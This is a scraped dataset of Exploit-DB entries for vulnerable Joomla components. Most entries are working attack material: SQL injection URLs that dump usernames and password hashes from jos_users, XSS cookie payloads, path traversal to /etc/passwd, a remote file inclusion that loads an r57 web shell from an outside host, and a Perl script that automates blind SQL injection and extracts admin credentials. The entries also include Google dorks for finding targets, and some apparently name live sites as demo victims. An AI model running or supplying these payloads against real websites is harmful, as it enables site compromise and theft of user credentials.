deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41430
Description: Joomla! Component BookLibrary 3.6.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-22
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component BookLibrary v3.6.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_booklibrary
# Date: 22.02.2017
# Vendor Homepage: http://ordasoft.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/living/education-a-culture/booklibrary-basic/
# Demo: http://ordasvit.com/joomla-book-library
# Version: 3.6.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_booklibrary&task=suggestion&comment=[SQL]
# http://localhost/[PATH]/index.php/component/booklibrary/0/search?searchtext=[SQL]&author=on&title=on&isbn=on'&bookid=on&description=on&publisher=on&pricefrom=19&priceto=287.9&catid=0&option=com_booklibrary&task=search&Itemid=207
# # # # #
Exploit-DB #10964
Description: Joomla! Component Bridge of Hope Template - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: bridgeofhope suffer from REMOTe sql injection
[~] Vendor: www.shape5.com
[?] Software: joomla
[-]
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 3.Jan.2010
[?] T!ME: 03:55 am GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[*] Err0r C0N50L3:


http://server/bridgeofhope/index.php?view=article&catid=14:recent&id= {EV!L EXPLO!T}

[~] {EV!L EXPLO!T}:

N/A AT TH!S T!ME



N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !




[~]-----------------------------{((Angela Bennett))}---------------------------------------


[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--JUPA-aNd-Devil ro0t : Goo Goo Cs Tiroo

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]---------------------------------------------------------------------------------------------
Exploit-DB #5993
Description: Joomla! Component Brightcode Weblinks - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-02
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/   Joomla Component Brightcode Weblinks Remote SQL injection   \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com__brightweblinks

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_brightweblinks&Itemid=58&catid={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_brightweblinks&Itemid=58&catid=<valid_id> UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 FROM jos_users WHERE usertype=0x[PII_REDACTED]2041646d696e[PII_REDACTED]746f72--
[*] Example2 :   http://localhost/[Joomla_Path]/index.php?option=com_brightweblinks&Itemid=58&catid=<valid_id> UNION SELECT 1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16 FROM jos_users WHERE usertype=0x[PII_REDACTED]2041646d696e[PII_REDACTED]746f72--
     
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://www.dz-secure.com
                 http://palcastle.org/cc

# milw0rm.com [2008-07-02]
Exploit-DB #15468
Description: Joomla! Component btg_oglas - HTML / Cross-Site Scripting Injection
Type: webapps
Platform: php
Date: 2010-11-09
Author: CoBRa_21

Exploit:
################################################################################################################
Joomla Component (btg_oglas) HTML & XSS Injection Vulnerability 
################################################################################################################
Author : CoBRa_21
Dork : inurl:btg_oglas
################################################################################################################
Sql Injection :
http://localhost/[path]/index.php?option=btg_oglas&id=<script>alert(document.cookie)</script>
################################################################################################################
Thanks Cyber-Warrior.org  &  AKINCILAR 
################################################################################################################
Exploit-DB #42501
Description: Joomla! Component Calendar Planner 1.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Calendar Planner 1.0.1 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage: http://joomlathat.com/
# Software Link: https://extensions.joomla.org/extensions/extension/calendars-a-events/events/calendar-planner/
# Demo: http://demo.joomlathat.com/
# Version: 1.0.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php/component/calendarplanner/events?searchword=&option=com_calendarplanner&view=events&category_id=[SQL]
# 
# Etc..
# # # # #
Exploit-DB #14530
Description: Joomla! Component CamelcityDB 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-02
Author: Amine_92

Exploit:
==============================================================
Joomla Component (com_camelcitydb2) SQL Injection Vulnerability
==============================================================
 
###########################
Title : Joomla Component (com_camelcitydb2) SQL Injection Vulnerability
Script : Joomla CamelcityDB 2.2
Date : 02/08/2010
Author : Amine_92
Tested : All version
Home : http://vbhacker.net
Dork : inurl:"option=com_camelcitydb2"
contact : amine92_16@hotmail.fr
###########################  
          
[ Vulnerable File ]
      
[path]/index.php?option=com_camelcitydb2&view=all&Itemid=15
 
[SQL]:
 
/index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
 
##############################################################  
Thank's to : All Hacker Mu$lim & Poeple of Gaza
Exploit-DB #7775
Description: Joomla! Component Camelcitydb2 2.2 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-14
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
#         Joomla Component Camelcitydb2 SQL Injection Vulnerability         #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de - [-=Kosova Hackers Group=-]

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "Camelcitydb2 (com_camelcitydb2)"
[~] Version:        "2.2" 
[~] Date:           "November 2008"
[~] Author:         "Noel Hunter"
[~] Author E-mail:  "info@camelcity.com"
[~] Author URL:     "www.camelcity.com"
[~] Component info: "http://extensions.joomla.org/extensions/core-enhancements/data-reports/2730/details"

########################################

[~] Exploit /index.php?option=com_camelcitydb2&id=[SQL]&view=detail&Itemid=15
[~] Example /index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,char(58),password)KHG,4,5,6,7,8,9,10,11+from+jos_users--&view=detail&Itemid=15

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2009-01-14]
Exploit-DB #5221
Description: Joomla! Component Candle 1.0 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-08
Author: S@BUN

Exploit:
#############################################
#
########### JOOMLA com_candle SQL Injection(cid)
#
#############################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
####
####MAiL : hackturkiye.hackturkiye@gmail.com
#
#############################################
#
##DORK 1 : allinurl:"com_candle"
#
#############################################
EXPLOIT :

index.php?option=com_candle&task=content&cID=-9999/**/union/**/select/**/0x3a,username,0x3a,password,0x3a,0x3a/**/from/**/jos_users/*

#############################################
################# S@BUN ####################
#############################################
######## hackturkiye.hackturkiye@gmail.com ######
#############################################

<mosinstall type="component" version="1.0.0">
	<name>Candle</name>
	<author>Son Vu</author>
	<creationDate>March 2007</creationDate>
	<copyright>(C) 2007 Open Source Matters. All rights reserved.</copyright>
	<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>

	<authorEmail>sora4g@gmail.com</authorEmail>
	<authorUrl></authorUrl>
	<version>1.0.0</version>
	<description>Candle Component.</description>

# milw0rm.com [2008-03-08]
Exploit-DB #34250
Description: Joomla! Component Canteen 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-05
Author: Drosophila

Exploit:
source: https://www.securityfocus.com/bid/41358/info

The Miniwork Studio Canteen component for Joomla! is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Attackers can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute arbitrary local files within the context of the webserver process. Information harvested may aid in further attacks.

Canteen 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?option=com_canteen&controller=../../../../../etc/passwd%00
Exploit-DB #3564
Description: Joomla! Component Car Manager 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2007-03-24
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: Joomla Component Car Manager <= 1.1 Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : "index.php?option=com_resman"
#[Contact    : :(
#[S.Page     : http://www.webformatique.net
#[$$         : .39.99
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   Joomla Component Car Manager <= 1.1 Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_resman&task=moreinfo&id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%20111,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),333%20from%20jos_users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)border/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-24]
Exploit-DB #12474
Description: Joomla! Component Card View JX - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-01
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component Card View JX XSS Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = Joomla Component Card View JX XSS Vulnerabilities
Vendor = Tools JX
Vendor Website = http://www.toolsjx.com
Affected Version(s) = all

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Type = XSS
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=[XSS]
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=[XSS]


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 01.05.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #4626
Description: Joomla! Component Carousel Flash Image Gallery - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-16
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Carousel Flash Image Gallery Joomla Component
*    [~] Download.....:       http://justjoomla.net/joomla-components/carousel-flash-image-gallery.html
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       inurl:"com_jjgallery
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=http://sibersavascilar.com/shelz/r57.txt ?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: f3ck y0ur l3fe
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-11-16]
Exploit-DB #35024
Description: Joomla! Component Catalogue - SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2010-11-30
Author: XroGuE

Exploit:
source: https://www.securityfocus.com/bid/45090/info

The Joomla! Catalogue Component is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. By using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks. 

http://www.example.com/index.php?option=com_catalogue&Itemid=73&cat_id=[SQLi]

http://www.example.com/index.php?option=com_catalogue&controller=[LFI]
Exploit-DB #33266
Description: Joomla! Component CB Resume Builder - 'group_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-10-05
Author: kaMtiEz

Exploit:
source: https://www.securityfocus.com/bid/36598/info

The CB Resume Builder ('com_cbresumebuilder') component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following example URI is available:

http://www.example.com/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--
Exploit-DB #10064
Description: Joomla! Component CB Resume Builder - SQL Injection
Type: webapps
Platform: php
Date: 2009-10-05
Author: kaMtiEz

Exploit:
/**************************************************************************

[~] Joomla Component com_cbresumebuilder Remote SQL injection vulnerability - (group_id)
[~] Author	: kaMtiEz (kamzcrew@gmail.com)
[~] Homepage	: http://www.indonesiancoder.com
[~] Date	: October 5, 2009
[~] Tune In	: http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.joomlacache.com/
[+] Download : http://www.joomlacache.com/index.php?option=com_ambrasubs&controller=subscription&task=new&id=6
[+] version : -
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_soundset"
[+] Price : $49.95-- USD

===========================================================================

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_cbresumebuilder&task=group_members&group_id=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--

[ Demo ]

http://www.gruenderwelt.org/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--

http://made4joomla.com/test/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM - KILL-9 CREW - KIRIK CREW - MainHack Brotherhood - ServerIsDown
[+] Don Tukulesto, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, och3_an3h
[+] Contrex, onthel, yasea, bugs, olivia, Jovan, Aar, Ardy, invent, Ronz
[+] Coracore, black666girl, NepT, ichal, tengik, Gh4mb4s ,rendy, Jack- and YOU!!

[ NOTE ] 

[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih eh kok malah kesasar wkwkw ....
[+] AURAKASIH where did you go ??
Exploit-DB #35826
Description: Joomla! Component CCBoard - SQL Injection / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-06-06
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/48108/info

http://www.noticeboardpro.com/notice-board-pro-copyright.htmlJoomla CCBoard is prone to an SQL-injection vulnerability and an arbitrary-file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_ccboard&view=postlist&forum=1&topic=2
Exploit-DB #15518
Description: Joomla! Component CCBoard 1.2-RC - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-11-13
Author: jdc

Exploit:
# Exploit Title: Joomla Component com_ccboard Multiple Vulnerabilities
# Date: 13 Nov 2010
# Author: jdc
# Category: webapps/0day
# Version: 1.2-RC
# Download: http://codeclassic.org/the-downloads/joomla-extensionscomponents/292-ccboard-bulletin-board-forum.html


Persistent XSS
--------------
ccBoard doesn't filter its posts for HTML... at all:
<script>prompt(1)</script>


Blind SQL Injection
-------------------
NOTE: must be logged in
?option=com_ccboard
&view=myprofile
&cid=63 and benchmark(5000000,md5(1))
Exploit-DB #15430
Description: Joomla! Component ccInvoices - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-05
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >
#############################################################
Joomla Component ccinvoices SQL Injection Vulnerability                                      
#############################################################

# Author        : Fl0riX ~ Bug Researchers

# Name : Joomla com_ccinvoices

# Bug Type : SQL injection

# Infection : Admin Login Bilgileri Alinabilir.

# Vendor: http://www.chillcreations.com/

# Demo Vuln :
[+]index.php?option=com_ccinvoices&task=viewInv&id=[EXPLOIT]

# Note: register in site & Login with ur account.

# Bug Fix Advice : Zararli Karakterler Filtrenmelidir.
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
EXPLOIT :
null+and+1=0+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
< -- bug code end of -- >